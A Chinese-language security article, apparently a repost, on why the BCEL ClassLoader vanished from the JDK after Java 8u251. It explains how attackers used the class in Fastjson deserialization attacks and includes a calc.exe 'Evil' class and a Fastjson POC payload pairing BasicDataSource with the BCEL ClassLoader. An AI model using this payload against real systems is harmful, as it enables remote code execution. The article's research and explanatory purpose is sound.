BCEL ClassLoader去哪了?

com.sun.org.apache.bcel.internal.util.ClassLoader是常常在构造漏洞利用POC时用到的类。但是,我前几天在写《Java安全漫谈》的时候,偶然发现我环境中的com.sun.org.apache.bcel.internal.util.ClassLoader类找不到了,本文就带大家来找找BCEL ClassLoader。

0x01 BCEL从哪里来

首先,BCEL究竟是什么?它为什么会出现在JDK中?

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel

据我(不严谨)的考证,JDK会将BCEL放到自己的代码中,主要原因是为了支撑Java XML相关的功能。准确的来说,Java XML功能包含了JAXP规范,而Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

JAXP全名是Java API for XML Processing,他是Java定义的一系列接口,用于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。

XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

我们尝试用本地的Java(注意需要用Java7或6,使用8将会出现异常)来编译一下hello.xsl:

java com.sun.org.apache.xalan.internal.xsltc.cmdline.Compile hello.xsl
BCEL ClassLoader去哪了?_第1张图片

可见,从hello.xsl生成了hello.class,反编译这个class即可看到源代码。

不知道大家看到这个代码里的AbstractTranslet会不会有点眼熟?我们在反序列化时常用的另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,它在defineClass中需要的字节码所对应的基类,就是这里的com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

其实Java里很多东西是有因果的,TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现,前文说了,XSLT在使用时会先编译成Java字节码,这也就是为什么TemplatesImpl会使用defineClass的原因。

关于XSLT这块的内容比较多,不是本文的重点,我就不细说了。那么这部分内容和BCEL有什么关系呢?

你应该也能猜到了,因为需要“编译”XSL文件,实际上核心是动态生成Java字节码,而BCEL正是一个处理字节码的库,所以Apache Xalan是依赖BCEL的。

0x02 BCEL ClassLoader如何使用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。具体算法在这里:

  private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

基本可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。

我们可以编写一个恶意类Evil:

package org.vulhub.fastjson;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

BCEL ClassLoader去哪了?_第2张图片

0x03 BCEL在Fastjson漏洞中的利用

前文介绍了BCEL的来历和用法,那么在实际攻防对抗中,我们是如何认识BCEL的呢?

这就得追溯到Fastjson的反序列化漏洞了。当年Fastjson反序列化漏洞出现后,网络上广泛流传的利用链有下面三个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

  • com.sun.rowset.JdbcRowSetImpl

  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

BasicDataSource的利用原理可以参考这篇文章:https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html,本文也仅做一个简单的描述。

BasicDataSourcetoString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法:

    protected ConnectionFactory createConnectionFactory() throws SQLException {
        // Load the JDBC driver class
        Driver driverToUse = this.driver;

        if (driverToUse == null) {
            Class driverFromCCL = null;
            if (driverClassName != null) {
                try {
                    try {
                        if (driverClassLoader == null) {
                            driverFromCCL = Class.forName(driverClassName);
                        } else {
                            driverFromCCL = Class.forName(
                                    driverClassName, true, driverClassLoader);
                        }
                        ...

createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader)。有读过我的《Java安全漫谈》第一篇文章的同学应该对Class.forName还有印象,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

因为driverClassLoaderdriverClassName都可以通过fastjson控制,所以只要找到一个可以利用的恶意类即可。

BCEL ClassLoader闪亮登场。第二章中我们已经演示过com.sun.org.apache.bcel.internal.util.ClassLoader是如何加载字节码并执行命令的,这里只是将前文的loadClass变成了Class.forName

综上,我们可以构造一个Fastjson的POC:

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

触发反序列化命令执行:

BCEL ClassLoader去哪了?_第3张图片

0x04 BCEL去哪了

同样的代码,如果在Java 8u261下执行,则会出现一个异常:

BCEL ClassLoader去哪了?_第4张图片

查看原因,发现是com.sun.org.apache.bcel.internal.util.ClassLoader这个类不在了,查看源码确实没有了。

翻一下Java的更新日志,可以发现在8u251的时候,曾有过一个BCEL相关的更新:https://www.oracle.com/java/technologies/javase/8u251-bugfixes.html

点issue可以发现其创建于2016年8月,但是在2020年才被正式修改。他的描述是:

BCEL 6.0 has been released at Apache Commons on 7/16/, refer to the common page: https://commons.apache.org/proper/commons-bcel/ and release notes: https://archive.apache.org/dist/commons/bcel/RELEASE-NOTES.txt

We should evaluate and upgrade to the latest release from the current version 5.2 in the JDK.

其实就是把BCEL的依赖升级到6.0了。难道是BCEL 6.0之后这个ClassLoader被删除了吗?

我登录Apache Commons BCEL官网,下载了多个6.x的代码,发现ClassLoader都是存在的:

BCEL ClassLoader去哪了?_第5张图片

这就十分奇怪了。

不过,我在BCEL的Issue中找到了这么一个:https://issues.apache.org/jira/browse/BCEL-110

其修复方法就是简单粗暴地删除了src/main/java/org/apache/commons/bcel6/util/ClassLoader.java

BCEL ClassLoader去哪了?_第6张图片

但是,为什么在官网下载的源码包中又存在这个类呢?我继而又翻到了两个有趣的提交:

BCEL ClassLoader去哪了?_第7张图片

在2015年的时候,曾有过这么一个issue:https://issues.apache.org/jira/browse/BCEL-222,提出修改bcel命名空间为bcel6。但是在2016年6月,又将所有的修改全部改了回去。

这时注意了,仔细查看之前的ClassLoader.java被删除的那条记录你会发现,删除的时候是在2015年8月,且目录中的文件夹名字是bcel6。也就是说,刚好是被改后的这段时间,然而因为2016年那次的revert ,这个改动也被撤回了……

所以你在官网里下载的BCEL中,ClassLoader是存在的。

那么为什么Java内的ClassLoader没有了呢?我觉得只有两个可能性:

  • Java在升级BCEL的时候注意到了前面那个issue,并参考它的修复方式重新将ClassLoader删除了

  • Java将BCEL升级到6.0时用的是一个删除了ClassLoader版本的BCEL(但无法解释为何命名空间不是bcel6)

所以,很遗憾,在Java 8u251以后,BCEL这个安全人员的好伙伴就此离家出走了,不知道何时会归来。所以,之后测试fastjson反序列化,记得这里有个坑。

参考链接:

  • https://docs.oracle.com/javase/tutorial/jaxp/index.html

  • https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

  • https://www.oracle.com/java/technologies/javase/8u251-bugfixes.html

你可能感兴趣的:(java,编程语言,jvm,tomcat,linux)